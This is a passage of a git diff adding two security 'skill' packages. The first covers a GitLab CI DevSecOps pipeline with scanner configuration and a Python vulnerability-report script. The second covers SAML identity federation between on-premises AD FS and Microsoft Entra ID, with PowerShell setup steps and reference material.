DOCKER_IMAGE: $CI_REGISTRY_IMAGE:$CI_COMMIT_SHORT_SHA + SECURE_LOG_LEVEL: "info" + +# Include GitLab managed security templates +include: + - template: Security/SAST.gitlab-ci.yml + - template: Security/Secret-Detection.gitlab-ci.yml + - template: Security/Dependency-Scanning.gitlab-ci.yml + - template: Security/Container-Scanning.gitlab-ci.yml + - template: DAST.gitlab-ci.yml + - template: Security/License-Scanning.gitlab-ci.yml + +build: + stage: build + image: docker:24.0 + services: + - docker:24.0-dind + variables: + DOCKER_TLS_CERTDIR: "/certs" + script: + - docker login -u $CI_REGISTRY_USER -p $CI_REGISTRY_PASSWORD $CI_REGISTRY + - docker build -t $DOCKER_IMAGE . + - docker push $DOCKER_IMAGE + rules: + - if: $CI_COMMIT_BRANCH + +unit-tests: + stage: test + image: $DOCKER_IMAGE + script: + - npm ci + - npm run test:coverage + coverage: '/Lines\s*:\s*(\d+\.?\d*)%/' + artifacts: + reports: + junit: junit-report.xml + coverage_report: + coverage_format: cobertura + path: coverage/cobertura-coverage.xml + +# Override SAST to run in security stage +sast: + stage: security + variables: + SAST_EXCLUDED_PATHS: "spec,test,tests,tmp,node_modules" + SEARCH_MAX_DEPTH: 10 + +# Override container scanning +container_scanning: + stage: security + variables: + CS_IMAGE: $DOCKER_IMAGE + CS_SEVERITY_THRESHOLD: "HIGH" + +# Override dependency scanning +dependency_scanning: + stage: security + +# Override secret detection +secret_detection: + stage: security + +# License compliance scanning +license_scanning: + stage: security + +deploy-staging: + stage: deploy-staging + image: bitnami/kubectl:latest + script: + - kubectl set image deployment/app app=$DOCKER_IMAGE -n staging + - kubectl rollout status deployment/app -n staging --timeout=300s + environment: + name: staging + url: https://staging.example.com + rules: + - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH + +# DAST runs against deployed staging +dast: + stage: dast + variables: + DAST_WEBSITE: https://staging.example.com + DAST_FULL_SCAN_ENABLED: "true" + DAST_BROWSER_SCAN: "true" + needs: + - deploy-staging + rules: + - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH + +deploy-production: + stage: deploy-production + image: bitnami/kubectl:latest + script: + - kubectl set image deployment/app app=$DOCKER_IMAGE -n production + - kubectl rollout status deployment/app -n production --timeout=300s + environment: + name: production + url: https://app.example.com + when: manual + rules: + - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH +``` + +### Security Approval Policies + +Configure scan execution policies to enforce mandatory security scans: + +1. Navigate to Security & Compliance > Policies +2. Create a "Scan Execution Policy" requiring SAST and secret detection on all branches +3. Create a "Merge Request Approval Policy" requiring security team approval when critical vulnerabilities are detected + +### Custom SAST Ruleset Configuration + +Create `.gitlab/sast-ruleset.toml` to customize analyzer behavior: + +```toml +[semgrep] + [[semgrep.ruleset]] + dirs = ["src"] + + [[semgrep.passthrough]] + type = "url" + target = "/sgrep-rules/custom-rules.yml" + value = "https://semgrep.dev/p/owasp-top-ten" + + [[semgrep.passthrough]] + type = "url" + target = "/sgrep-rules/java-rules.yml" + value = "https://semgrep.dev/p/java" +``` + +## Security Dashboard and Vulnerability Management + +### Vulnerability Report + +GitLab consolidates all scanner findings into a single Vulnerability Report accessible at Security & Compliance > Vulnerability Report. Each vulnerability includes: +- Severity rating (Critical, High, Medium, Low, Info) +- Scanner source (SAST, DAST, Container, Dependency, Secret) +- Location in source code or image layer +- Remediation guidance and suggested fixes +- Status tracking (Detected, Confirmed, Dismissed, Resolved) + +### Merge Request Security Widget + +Every merge request displays a security scanning widget showing: +- New vulnerabilities introduced by the MR +- Fixed vulnerabilities resolved by the MR +- Comparison against the target branch baseline + +## Pipeline Optimization + +- **Parallel execution**: Security scanners run concurrently in the security stage +- **Caching**: Use CI cache for dependency downloads to speed up scanning +- **Incremental scanning**: SAST can scan only changed files using `SAST_INCREMENTAL: "true"` +- **Fail conditions**: Set `allow_failure: false` on critical scanners to enforce quality gates + +## Monitoring and Metrics + +| Metric | Description | Target | +|--------|-------------|--------| +| Pipeline security coverage | Percentage of projects with all scanners enabled | > 95% | +| Critical vulnerability MTTR | Time from detection to resolution for critical findings | < 48 hours | +| False positive rate | Percentage of dismissed-as-false-positive findings | < 15% | +| Secret detection block rate | Percentage of secret commits blocked by push rules | > 99% | + +## References + +- [GitLab Security Scanning Documentation](https://docs.gitlab.com/ee/user/application_security/) +- [GitLab SAST Analyzers](https://docs.gitlab.com/ee/user/application_security/sast/) +- [GitLab DAST Configuration](https://docs.gitlab.com/ee/user/application_security/dast/) +- [GitLab Security Policies](https://docs.gitlab.com/ee/user/application_security/policies/) +- [GitLab Vulnerability Management](https://docs.gitlab.com/ee/user/application_security/vulnerability_report/) diff --git a/skills/building-devsecops-pipeline-with-gitlab-ci/assets/template.md b/skills/building-devsecops-pipeline-with-gitlab-ci/assets/template.md new file mode 100644 index 00000000..4e30491e --- /dev/null +++ b/skills/building-devsecops-pipeline-with-gitlab-ci/assets/template.md @@ -0,0 +1,35 @@ +# GitLab DevSecOps Pipeline Implementation Template + +## Pipeline Security Scanner Checklist + +| Scanner | Enabled | Template Included | Threshold Set | Blocking | +|---------|---------|-------------------|---------------|----------| +| SAST | [ ] | [ ] | Severity: _____ | [ ] | +| DAST | [ ] | [ ] | Severity: _____ | [ ] | +| Container Scanning | [ ] | [ ] | Severity: _____ | [ ] | +| Dependency Scanning | [ ] | [ ] | Severity: _____ | [ ] | +| Secret Detection | [ ] | [ ] | N/A | [ ] | +| License Scanning | [ ] | [ ] | Policy: _____ | [ ] | + +## Security Policy Configuration + +| Policy Type | Name | Scope | Enforcement | +|-------------|------|-------|-------------| +| Scan Execution | | [ ] All branches [ ] Default only | [ ] Required | +| MR Approval | | Severity trigger: _____ | Approvers: _____ | + +## Environment-Specific DAST Targets + +| Environment | URL | Auth Method | Scan Type | Schedule | +|-------------|-----|-------------|-----------|----------| +| Staging | | [ ] None [ ] Token [ ] Cookie | [ ] Passive [ ] Full | | +| Pre-production | | [ ] None [ ] Token [ ] Cookie | [ ] Passive [ ] Full | | + +## Vulnerability SLA Targets + +| Severity | Detection to Triage | Triage to Fix | Total SLA | +|----------|--------------------|--------------|-----------| +| Critical | 4 hours | 24 hours | 48 hours | +| High | 24 hours | 5 days | 7 days | +| Medium | 48 hours | 14 days | 30 days | +| Low | 1 week | 30 days | 90 days | diff --git a/skills/building-devsecops-pipeline-with-gitlab-ci/references/standards.md b/skills/building-devsecops-pipeline-with-gitlab-ci/references/standards.md new file mode 100644 index 00000000..6f4fbaf6 --- /dev/null +++ b/skills/building-devsecops-pipeline-with-gitlab-ci/references/standards.md @@ -0,0 +1,48 @@ +# Standards and Compliance Reference + +## OWASP DevSecOps Pipeline Maturity Model + +| Level | SAST | DAST | SCA | Container | Secrets | License | +|-------|------|------|-----|-----------|---------|---------| +| Level 1 (Basic) | Manual runs | None | Manual dependency check | None | Pre-commit hooks | None | +| Level 2 (Integrated) | CI-triggered on MR | Scheduled scans | CI-triggered | Image scan on build | CI scan on commits | CI-triggered | +| Level 3 (Enforced) | Required for merge | Gate before deploy | Block on critical CVE | Block vulnerable images | Push protection | Policy enforcement | +| Level 4 (Optimized) | Custom rules, tuned FP | Authenticated full scan | Auto-remediation PRs | Signed images only | Auto-rotation | SBOM generation | + +## NIST SP 800-218 (SSDF) Mapping + +| SSDF Practice | GitLab Feature | Pipeline Stage | +|---------------|----------------|----------------| +| PO.1 Define security requirements | Security policies | Policy configuration | +| PW.1 Design software securely | Threat modeling integration | Pre-build | +| PW.4 Reuse well-secured software | Dependency scanning | Security stage | +| PW.5 Create source code securely | SAST, secret detection | Security stage | +| PW.7 Review and test code | MR security widget | Merge request | +| PW.8 Test executable code | DAST | Post-deploy staging | +| PW.9 Configure software securely | Container scanning | Security stage | +| RV.1 Identify vulnerabilities | Vulnerability report | Dashboard | +| RV.2 Assess and prioritize | Severity classification | Triage workflow | +| RV.3 Remediate vulnerabilities | Issue tracking integration | Sprint planning | + +## CIS Software Supply Chain Security + +- **SCS-1**: Secure source code management with protected branches and signed commits +- **SCS-2**: Secure build pipelines with pinned template versions and runner isolation +- **SCS-3**: Verified dependencies through dependency scanning and license compliance +- **SCS-4**: Secure artifacts with container scanning and signed images +- **SCS-5**: Deployment security with manual gates and environment approvals + +## GitLab Scanner Coverage Matrix + +| Vulnerability Type | Primary Scanner | Secondary Scanner | +|--------------------|-----------------|-------------------| +| SQL Injection | SAST (Semgrep) | DAST | +| XSS | SAST | DAST | +| SSRF | SAST | DAST | +| Command Injection | SAST | DAST | +| Insecure Deserialization | SAST | N/A | +| Known CVE in dependency | Dependency Scanning | Container Scanning | +| Hardcoded credentials | Secret Detection | SAST | +| License violation | License Scanning | N/A | +| OS-level CVE in image | Container Scanning | N/A | +| Authentication flaws | DAST | SAST | diff --git a/skills/building-devsecops-pipeline-with-gitlab-ci/references/workflows.md b/skills/building-devsecops-pipeline-with-gitlab-ci/references/workflows.md new file mode 100644 index 00000000..fce4cf14 --- /dev/null +++ b/skills/building-devsecops-pipeline-with-gitlab-ci/references/workflows.md @@ -0,0 +1,84 @@ +# GitLab DevSecOps Pipeline Workflows + +## Workflow 1: Merge Request Security Review + +``` +Developer creates merge request + | + Pipeline triggers security scanners in parallel: + [SAST] [Secret Detection] [Dependency Scanning] [License Scanning] + | + MR Security Widget displays results: + - New vulnerabilities introduced + - Existing vulnerabilities fixed + - Comparison with target branch + | + [No Critical/High] --> Reviewers can approve and merge + [Critical/High found] --> MR blocked by approval policy + | + Security team reviews findings + | + [Confirmed] --> Developer remediates and re-pushes + [False Positive] --> Dismissed with documented reason + | + All findings resolved --> MR eligible for merge +``` + +## Workflow 2: Container Image Security Gate + +``` +Docker image built in CI + | + Container scanning (Trivy) analyzes image layers + | + Findings categorized by severity + | + [Below threshold] --> Image pushed to registry with metadata + [Above threshold] --> Pipeline fails, image not pushed + | + Registry stores scan results as artifact + | + Deployment pulls only scanned/approved images +``` + +## Workflow 3: DAST Against Staging Environment + +``` +Application deployed to staging + | + DAST browser scan initiated against staging URL + | + Authenticated scan crawls application pages + | + Active testing for XSS, SQLi, CSRF, etc. + | + Results added to vulnerability report + | + [Pass] --> Manual deploy-to-production gate enabled + [Fail on critical] --> Staging deployment rolled back + | + Production deploy requires manual approval +``` + +## Workflow 4: Vulnerability Lifecycle Management + +``` +Scanner detects vulnerability + | + Status: "Detected" in vulnerability report + | + Security analyst triages finding + | + [Confirmed vulnerability] [False positive] + | | + Status: "Confirmed" Status: "Dismissed" + Issue created automatically Reason documented + | + Developer assigned fix + | + Fix merged, scanner re-runs + | + Vulnerability no longer detected + | + Status: "Resolved" +``` diff --git a/skills/building-devsecops-pipeline-with-gitlab-ci/scripts/process.py b/skills/building-devsecops-pipeline-with-gitlab-ci/scripts/process.py new file mode 100644 index 00000000..603f5b93 --- /dev/null +++ b/skills/building-devsecops-pipeline-with-gitlab-ci/scripts/process.py @@ -0,0 +1,174 @@ +#!/usr/bin/env python3 +""" +GitLab DevSecOps Pipeline Security Report Generator + +Queries GitLab API to aggregate security scanning results +across projects and generate compliance reports. +""" + +import json +import os +import sys +import urllib.request +import urllib.error +from datetime import datetime +from collections import defaultdict + + +def gitlab_api_get(url: str, token: str) -> list | dict: + headers = {"PRIVATE-TOKEN": token, "Content-Type": "application/json"} + results = [] + page = 1 + while True: + sep = "&" if "?" in url else "?" + paginated = f"{url}{sep}per_page=100&page={page}" + req = urllib.request.Request(paginated, headers=headers) + try: + with urllib.request.urlopen(req) as resp: + data = json.loads(resp.read().decode()) + if isinstance(data, list): + if not data: + break + results.extend(data) + page += 1 + else: + return data + except urllib.error.HTTPError as e: + print(f"HTTP {e.code}: {e.read().decode()}") + break + return results + + +def get_group_projects(base_url: str, token: str, group_id: str) -> list: + url = f"{base_url}/api/v4/groups/{group_id}/projects?include_subgroups=true" + return gitlab_api_get(url, token) + + +def get_project_vulnerabilities(base_url: str, token: str, project_id: int) -> list: + url = f"{base_url}/api/v4/projects/{project_id}/vulnerabilities?state=detected" + return gitlab_api_get(url, token) + + +def get_pipeline_jobs(base_url: str, token: str, project_id: int, pipeline_id: int) -> list: + url = f"{base_url}/api/v4/projects/{project_id}/pipelines/{pipeline_id}/jobs" + return gitlab_api_get(url, token) + + +def check_security_scanners(jobs: list) -> dict: + scanner_names = { + "sast": False, + "secret_detection": False, + "dependency_scanning": False, + "container_scanning": False, + "dast": False, + "license_scanning": False, + } + for job in jobs: + name = job.get("name", "").lower() + for scanner in scanner_names: + if scanner.replace("_", "-") in name or scanner in name: + scanner_names[scanner] = True + return scanner_names + + +def generate_report(base_url: str, token: str, group_id: str) -> dict: + projects = get_group_projects(base_url, token, group_id) + report = { + "gitlab_instance": base_url, + "group_id": group_id, + "generated_at": datetime.utcnow().isoformat() + "Z", + "total_projects": len(projects), + "scanner_coverage": defaultdict(int), + "severity_totals": defaultdict(int), + "project_details": [], + } + + for project in projects: + pid = project["id"] + name = project["path_with_namespace"] + + vulns = get_project_vulnerabilities(base_url, token, pid) + severity_counts = defaultdict(int) + scanner_counts = defaultdict(int) + for v in vulns: + severity_counts[v.get("severity", "unknown")] += 1 + scanner_counts[v.get("scanner", {}).get("name", "unknown")] += 1 + report["severity_totals"][v.get("severity", "unknown")] += 1 + + pipelines = gitlab_api_get( + f"{base_url}/api/v4/projects/{pid}/pipelines?per_page=1&status=success", token + ) + scanners_enabled = {} + if pipelines and isinstance(pipelines, list): + jobs = get_pipeline_jobs(base_url, token, pid, pipelines[0]["id"]) + scanners_enabled = check_security_scanners(jobs) + for scanner, enabled in scanners_enabled.items(): + if enabled: + report["scanner_coverage"][scanner] += 1 + + report["project_details"].append({ + "project": name, + "open_vulnerabilities": len(vulns), + "by_severity": dict(severity_counts), + "by_scanner": dict(scanner_counts), + "scanners_enabled": scanners_enabled, + }) + + report["scanner_coverage"] = dict(report["scanner_coverage"]) + report["severity_totals"] = dict(report["severity_totals"]) + return report + + +def print_report(report: dict) -> None: + print(f"\n{'='*65}") + print(f"GitLab DevSecOps Security Report") + print(f"Instance: {report['gitlab_instance']}") + print(f"Generated: {report['generated_at']}") + print(f"{'='*65}") + print(f"\nTotal Projects: {report['total_projects']}") + + print(f"\nScanner Coverage:") + for scanner, count in sorted(report["scanner_coverage"].items()): + pct = count / report["total_projects"] * 100 if report["total_projects"] > 0 else 0 + print(f" {scanner:25s}: {count:3d}/{report['total_projects']} ({pct:.0f}%)") + + print(f"\nVulnerability Summary:") + for sev in ["critical", "high", "medium", "low", "info", "unknown"]: + count = report["severity_totals"].get(sev, 0) + if count > 0: + print(f" {sev.upper():12s}: {count}") + + total = sum(report["severity_totals"].values()) + print(f" {'TOTAL':12s}: {total}") + + print(f"\nTop 10 Projects by Open Vulnerabilities:") + sorted_projects = sorted( + report["project_details"], key=lambda p: p["open_vulnerabilities"], reverse=True + ) + for p in sorted_projects[:10]: + print(f" {p['project']:45s} | Vulns: {p['open_vulnerabilities']}") + + +def main(): + token = os.environ.get("GITLAB_TOKEN") + base_url = os.environ.get("GITLAB_URL", "https://gitlab.com") + group_id = os.environ.get("GITLAB_GROUP_ID") + + if not token: + print("Error: GITLAB_TOKEN environment variable required") + sys.exit(1) + if not group_id: + print("Error: GITLAB_GROUP_ID environment variable required") + sys.exit(1) + + report = generate_report(base_url, token, group_id) + print_report(report) + + output = f"gitlab_devsecops_report_{datetime.utcnow().strftime('%Y%m%d')}.json" + with open(output, "w") as f: + json.dump(report, f, indent=2, default=str) + print(f"\nReport saved to: {output}") + + +if __name__ == "__main__": + main() diff --git a/skills/building-identity-federation-with-saml-azure-ad/SKILL.md b/skills/building-identity-federation-with-saml-azure-ad/SKILL.md new file mode 100644 index 00000000..334d0658 --- /dev/null +++ b/skills/building-identity-federation-with-saml-azure-ad/SKILL.md @@ -0,0 +1,210 @@ +--- +name: building-identity-federation-with-saml-azure-ad +description: Establish SAML 2.0 identity federation between on-premises Active Directory and Azure AD (Microsoft Entra ID) for seamless cross-domain authentication and SSO to cloud applications. +domain: cybersecurity +subdomain: identity-access-management +tags: [saml, azure-ad, entra-id, federation, identity, sso, adfs, hybrid-identity] +version: "1.0" +author: mahipal +license: MIT +--- + +# Building Identity Federation with SAML Azure AD + +## Overview + +Identity federation enables users authenticated by one identity provider to access resources managed by another without maintaining separate credentials. This skill covers establishing SAML 2.0 federation between an organization's on-premises Active Directory (via AD FS or third-party IdP) and Microsoft Entra ID (formerly Azure AD), as well as configuring federated SSO for third-party SaaS applications. Federation eliminates password synchronization concerns and keeps authentication authority on-premises while extending SSO to cloud resources. + +## Prerequisites + +- On-premises Active Directory domain +- AD FS 2019+ or third-party SAML IdP (Okta, Ping, etc.) +- Microsoft Entra ID tenant (P1 or P2 license recommended) +- Azure AD Connect (if using hybrid identity with password hash sync as backup) +- Public TLS certificate for federation endpoint +- DNS records for federation service name + +## Core Concepts + +### Federation Models + +| Model | Authentication Authority | Use Case | +|-------|------------------------|----------| +| Federated (AD FS) | On-premises AD FS | Regulatory requirement to keep auth on-prem | +| Managed (PHS) | Azure AD with password hash sync | Simplest cloud auth, AD FS not needed | +| Managed (PTA) | On-premises via pass-through agent | Cloud auth validated against on-prem AD | +| Third-Party Federation | External IdP (Okta, Ping) | Multi-IdP environment | + +### SAML Federation Architecture + +``` +User → Cloud App (SP) + │ + └── Redirect to Azure AD + │ + ├── Azure AD checks federated domain + │ + └── Redirect to on-premises AD FS + │ + ├── AD FS authenticates against Active Directory + │ + ├── AD FS issues SAML token + │ + └── Token posted back to Azure AD + │ + ├── Azure AD validates federation trust + │ + ├── Azure AD issues its own token + │ + └── User receives access token for cloud app +``` + +### Federation Trust Components + +| Component | Description | +|-----------|-------------| +| Token-Signing Certificate | X.509 certificate used by IdP to sign SAML assertions | +| Federation Metadata | XML document describing IdP endpoints and capabilities | +| Relying Party Trust | Configuration in AD FS for each SP (Azure AD) | +| Claims Rules | Transform AD attributes into SAML claims | +| Issuer URI | Unique identifier for the IdP (entity ID) | + +## Implementation Steps + +### Step 1: Prepare AD FS Infrastructure + +```powershell +# Install AD FS role +Install-WindowsFeature ADFS-Federation -IncludeManagementTools + +# Configure AD FS farm +Install-AdfsFarm ` + -CertificateThumbprint $certThumbprint ` + -FederationServiceDisplayName "Corp Federation Service" ` + -FederationServiceName "fs.corp.example.com" ` + -ServiceAccountCredential $gmsaCredential + +# Verify AD FS is operational +Get-AdfsProperties | Select-Object HostName, Identifier, FederationPassiveAddress +``` + +### Step 2: Configure Azure AD Federated Domain + +```powershell +# Install Microsoft Graph PowerShell module +Install-Module Microsoft.Graph -Scope CurrentUser + +# Connect to Microsoft Graph +Connect-MgGraph -Scopes "Domain.ReadWrite.All" + +# Convert managed domain to federated +# Using AD FS federation metadata URL +$domainId = "corp.example.com" +$federationConfig = @{ + issuerUri = "http://fs.corp.example.com/adfs/services/trust" + metadataExchangeUri = "https://fs.corp.example.com/adfs/services/trust/mex" + passiveSignInUri = "https://fs.corp.example.com/adfs/ls/" + signOutUri = "https://fs.corp.example.com/adfs/ls/?wa=wsignout1.0" + signingCertificate = $base64Cert + preferredAuthenticationProtocol = "saml" +} + +# Apply federation settings to domain +New-MgDomainFederationConfiguration -DomainId $domainId -BodyParameter $federationConfig +``` + +### Step 3: Configure AD FS Claims Rules + +```powershell +# Add Relying Party Trust for Azure AD +Add-AdfsRelyingPartyTrust ` + -Name "Microsoft Office 365 Identity Platform" ` + -MetadataUrl "https://nexus.microsoftonline-p.com/federationmetadata/2007-06/federationmetadata.xml" + +# Configure claim rules +$rules = @" +@RuleTemplate = "LdapClaims" +@RuleName = "Extract AD Attributes" +c:[Type == "http://schemas.microsoft.com/ws/2008/06/identity/claims/windowsaccountname", + Issuer == "AD AUTHORITY"] +=> issue(store = "Active Directory", + types = ("http://schemas.xmlsoap.org/claims/UPN", + "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/emailaddress", + "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/givenname", + "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/surname"), + query = ";userPrincipalName,mail,givenName,sn;{0}", + param = c.Value); + +@RuleTemplate = "PassThroughClaims" +@RuleName = "Pass Through UPN as NameID" +c:[Type == "http://schemas.xmlsoap.org/claims/UPN"] +=> issue(Type = "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier", + Issuer = c.Issuer, OriginalIssuer = c.OriginalIssuer, + Value = c.Value, + ValueType = c.ValueType, + Properties["http://schemas.xmlsoap.org/ws/2005/05/identity/claimproperties/format"] + = "urn:oasis:names:tc:SAML:2.0:nameid-format:persistent"); +"@ + +Set-AdfsRelyingPartyTrust ` + -TargetName "Microsoft Office 365 Identity Platform" ` + -IssuanceTransformRules $rules +``` + +### Step 4: Configure Third-Party SaaS Federation + +For each SaaS application that supports SAML SSO via Azure AD: + +1. Navigate to Microsoft Entra Admin Center > Enterprise Applications +2. Add the application from the gallery (or create custom SAML) +3. Configure Single Sign-On > SAML: + - Identifier (Entity ID): Application's entity ID + - Reply URL (ACS): Application's assertion consumer service URL + - Sign-on URL: Application's login URL +4. Map user attributes/claims: + - NameID: user.userprincipalname (email format) + - Additional claims as required by the application +5. Download the Federation Metadata XML or certificate +6. Configure the SaaS app with Azure AD's federation details + +### Step 5: Certificate Lifecycle Management + +AD FS token-signing certificates expire and must be renewed: + +```powershell +# Check current certificate expiration +Get-AdfsCertificate -CertificateType Token-Signing | Select-Object Thumbprint, NotAfter + +# AD FS supports auto-rollover (enabled by default) +Get-AdfsProperties | Select-Object AutoCertificateRollover + +# If manual rotation is needed: +# 1. Add new certificate as secondary +Set-AdfsCertificate -CertificateType Token-Signing -Thumbprint $newThumbprint -IsPrimary $false +# 2. Update Azure AD with new certificate +# 3. Promote to primary +Set-AdfsCertificate -CertificateType Token-Signing -Thumbprint $newThumbprint -IsPrimary $true +# 4. Remove old certificate +Remove-AdfsCertificate -CertificateType Token-Signing -Thumbprint $oldThumbprint +``` + +## Validation Checklist + +- [ ] AD FS farm operational with valid TLS and token-signing certificates +- [ ] Azure AD domain configured as federated with correct metadata +- [ ] Claims rules properly transform AD attributes to SAML assertions +- [ ] Test user can authenticate through federation flow end-to-end +- [ ] MFA enforced at AD FS or Azure AD conditional access level +- [ ] Certificate auto-rollover enabled or manual rotation scheduled +- [ ] Federation metadata endpoint publicly accessible +- [ ] Smart lockout configured to prevent brute force +- [ ] Extranet lockout policies configured on AD FS +- [ ] Monitoring configured for AD FS health and certificate expiry +- [ ] Disaster recovery: managed authentication fallback documented + +## References + +- [Microsoft Entra Federation Documentation](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-fed) +- [AD FS Design Guide](https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/design/ad-fs-design-guide) +- [Configure AD FS for Azure AD Federation](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-fed-management) +- [SAML 2.0 Authentication - OASIS](https://docs.oasis-open.org/security/saml/v2.0/) diff --git a/skills/building-identity-federation-with-saml-azure-ad/assets/template.md b/skills/building-identity-federation-with-saml-azure-ad/assets/template.md new file mode 100644 index 00000000..2c32b6b3 --- /dev/null +++ b/skills/building-identity-federation-with-saml-azure-ad/assets/template.md @@ -0,0 +1,51 @@ +# Identity Federation Implementation Template + +## Federation Details + +| Setting | Value | +|---------|-------| +| Azure AD Tenant ID | | +| Federated Domain | | +| AD FS Farm Name | | +| AD FS Service URL | `https://fs.___/adfs/ls/` | +| Federation Protocol | SAML 2.0 / WS-Federation | +| Backup Auth | Password Hash Sync / Pass-Through Auth | + +## AD FS Configuration + +| Setting | Value | +|---------|-------| +| AD FS Version | | +| Service Account | gMSA recommended | +| Token-Signing Cert Expiry | | +| Auto-Rollover Enabled | Yes / No | +| WAP Deployed | Yes / No | + +## Claims Rules + +| Rule Name | Source Attribute | Claim Type | Description | +|-----------|-----------------|------------|-------------| +| UPN | userPrincipalName | NameID | Primary identifier | +| ImmutableID | objectGUID (base64) | ImmutableID | Azure AD anchor | +| Email | mail | emailaddress | User email | + +## Validation Results + +| Test | Status | Notes | +|------|--------|-------| +| AD FS metadata reachable | Pass/Fail | | +| Token-signing certificate valid | Pass/Fail | | +| Domain federation configured in Azure AD | Pass/Fail | | +| SP-initiated SSO flow | Pass/Fail | | +| IdP-initiated SSO flow | Pass/Fail | | +| MFA enforcement | Pass/Fail | | +| Smart lockout configured | Pass/Fail | | +| Sign-in logs showing federated auth | Pass/Fail | | + +## Disaster Recovery + +- [ ] Password hash sync enabled as backup +- [ ] Staged rollout to managed auth tested +- [ ] Break-glass cloud-only admin accounts created +- [ ] AD FS farm disaster recovery plan documented +- [ ] Secondary AD FS farm in DR site (if applicable) diff --git a/skills/building-identity-federation-with-saml-azure-ad/references/standards.md b/skills/building-identity-federation-with-saml-azure-ad/references/standards.md new file mode 100644 index 00000000..1049bd72 --- /dev/null +++ b/skills/building-identity-federation-with-saml-azure-ad/references/standards.md @@ -0,0 +1,53 @@ +# Identity Federation with SAML Azure AD - Standards Reference + +## Federation Protocols + +### SAML 2.0 (OASIS) +- Security Assertion Markup Language version 2.0 +- XML-based framework for exchanging authentication/authorization data +- Profiles: Web Browser SSO, Enhanced Client or Proxy, Single Logout +- Bindings: HTTP Redirect, HTTP POST, HTTP Artifact, SOAP + +### WS-Federation (OASIS) +- Web Services Federation Language +- Used by AD FS for passive federation (browser-based) +- Token types: SAML 1.1, SAML 2.0 + +### OpenID Connect +- Built on OAuth 2.0 +- JSON/REST-based (vs. SAML XML) +- Used by Azure AD as primary protocol for modern applications +- JWT tokens instead of SAML assertions + +## Microsoft Entra ID Federation Requirements + +### Supported Federation Protocols +| Protocol | Use Case | Token Format | +|----------|----------|-------------| +| SAML 2.0 | Enterprise SSO, third-party apps | SAML assertion (XML) | +| WS-Federation | Legacy applications, AD FS | SAML token | +| OpenID Connect | Modern web/mobile apps | JWT | + +### Domain Federation Requirements +- Domain must be verified in Azure AD +- Only one federation configuration per domain +- Password hash sync recommended as backup +- Azure AD Connect for hybrid identity sync + +## Compliance Mapping + +### NIST SP 800-63C - Federation and Assertions +- FAL1: Bearer assertion, direct presentation +- FAL2: Bearer assertion with additional security +- FAL3: Holder-of-key assertion + +### FedRAMP +- IA-2: Identification and Authentication +- IA-5: Authenticator Management +- IA-8: Identification and Authentication (Non-Organizational Users) +- Federation required for cross-organization access + +### ISO 27001:2022 +- A.5.16: Identity management +- A.5.17: Authentication information +- A.8.5: Secure authentication diff --git a/skills/building-identity-federation-with-saml-azure-ad/references/workflows.md b/skills/building-identity-federation-with-saml-azure-ad/references/workflows.md new file mode 100644 index 00000000..d18c7103 --- /dev/null +++ b/skills/building-identity-federation-with-saml-azure-ad/references/workflows.md @@ -0,0 +1,112 @@ +# Identity Federation with SAML Azure AD - Workflows + +## Federation Setup Workflow + +``` +Phase 1: PREREQUISITES + ├── Verify domain ownership in Azure AD + ├── Install and configure Azure AD Connect for user sync + ├── Deploy AD FS farm (if using on-premises federation) + ├── Obtain public TLS certificate for federation endpoint + └── Configure DNS for federation service name + +Phase 2: FEDERATION CONFIGURATION + ├── Configure AD FS relying party trust for Azure AD + ├── Set up claims issuance rules (UPN, ImmutableID) + ├── Convert Azure AD domain from managed to federated + ├── Verify federation with Test-MgDomainFederationConfiguration + └── Test user sign-in through federation flow + +Phase 3: APPLICATION SSO + ├── Add SaaS applications to Azure AD enterprise apps + ├── Configure SAML SSO for each application + ├── Map user attributes and claims + ├── Test SSO for each application + └── Assign users/groups to applications + +Phase 4: SECURITY HARDENING + ├── Enable conditional access policies + ├── Configure MFA at AD FS or Azure AD level + ├── Enable smart lockout and extranet lockout + ├── Set up certificate auto-rollover + └── Forward AD FS audit logs to SIEM +``` + +## SAML Authentication Flow (Federated Domain) + +``` +User accesses cloud application + │ + ├── Application redirects to Azure AD + │ (Azure AD acts as IdP for the application) + │ + ├── Azure AD identifies user's domain as federated + │ + ├── Azure AD redirects user to on-premises AD FS + │ (AD FS is the IdP for the federated domain) + │ + ├── AD FS authenticates user against Active Directory: + │ ├── Kerberos (if on corporate network) + │ ├── Forms-based authentication (if external) + │ └── MFA challenge (if configured) + │ + ├── AD FS issues SAML assertion with claims: + │ ├── UPN (user principal name) + │ ├── ImmutableID (objectGUID base64-encoded) + │ ├── Email, display name, groups + │ └── Signed with token-signing certificate + │ + ├── SAML assertion posted to Azure AD + │ + ├── Azure AD validates assertion: + │ ├── Verify signature against known AD FS certificate + │ ├── Match ImmutableID to synced user + │ ├── Apply conditional access policies + │ └── Issue Azure AD token for the application + │ + └── User accesses the cloud application +``` + +## Failover Workflow (AD FS Outage) + +``` +AD FS becomes unavailable + │ + ├── Users cannot authenticate through federation + │ + ├── OPTION 1: Staged Rollout to Managed Authentication + │ ├── Enable password hash sync as backup (should already be active) + │ ├── Use Azure AD staged rollout to move groups to managed auth + │ └── Users authenticate directly with Azure AD (password hash) + │ + ├── OPTION 2: Convert Domain to Managed + │ ├── Run: Convert-MgDomainToManaged (emergency procedure) + │ ├── All users switch to Azure AD authentication + │ └── Requires password hash sync to be active + │ + └── After AD FS restored: + ├── Re-establish federation trust + ├── Convert domain back to federated + └── Verify authentication flow +``` + +## Certificate Rotation Workflow + +``` +AD FS token-signing certificate approaching expiry + │ + ├── Auto-Rollover Enabled (recommended): + │ ├── AD FS generates new certificate 20 days before expiry + │ ├── New cert is added as secondary + │ ├── Azure AD automatically picks up via metadata refresh + │ ├── New cert promoted to primary at expiry + │ └── Old cert removed after grace period + │ + └── Manual Rotation: + ├── Generate new signing certificate in AD FS + ├── Add as secondary: Set-AdfsCertificate ... -IsPrimary $false + ├── Update Azure AD: Update-MgDomainFederationConfiguration + ├── Wait for replication (allow 24-48 hours) + ├── Promote to primary: Set-AdfsCertificate ... -IsPrimary $true + └── Remove old certificate +``` diff 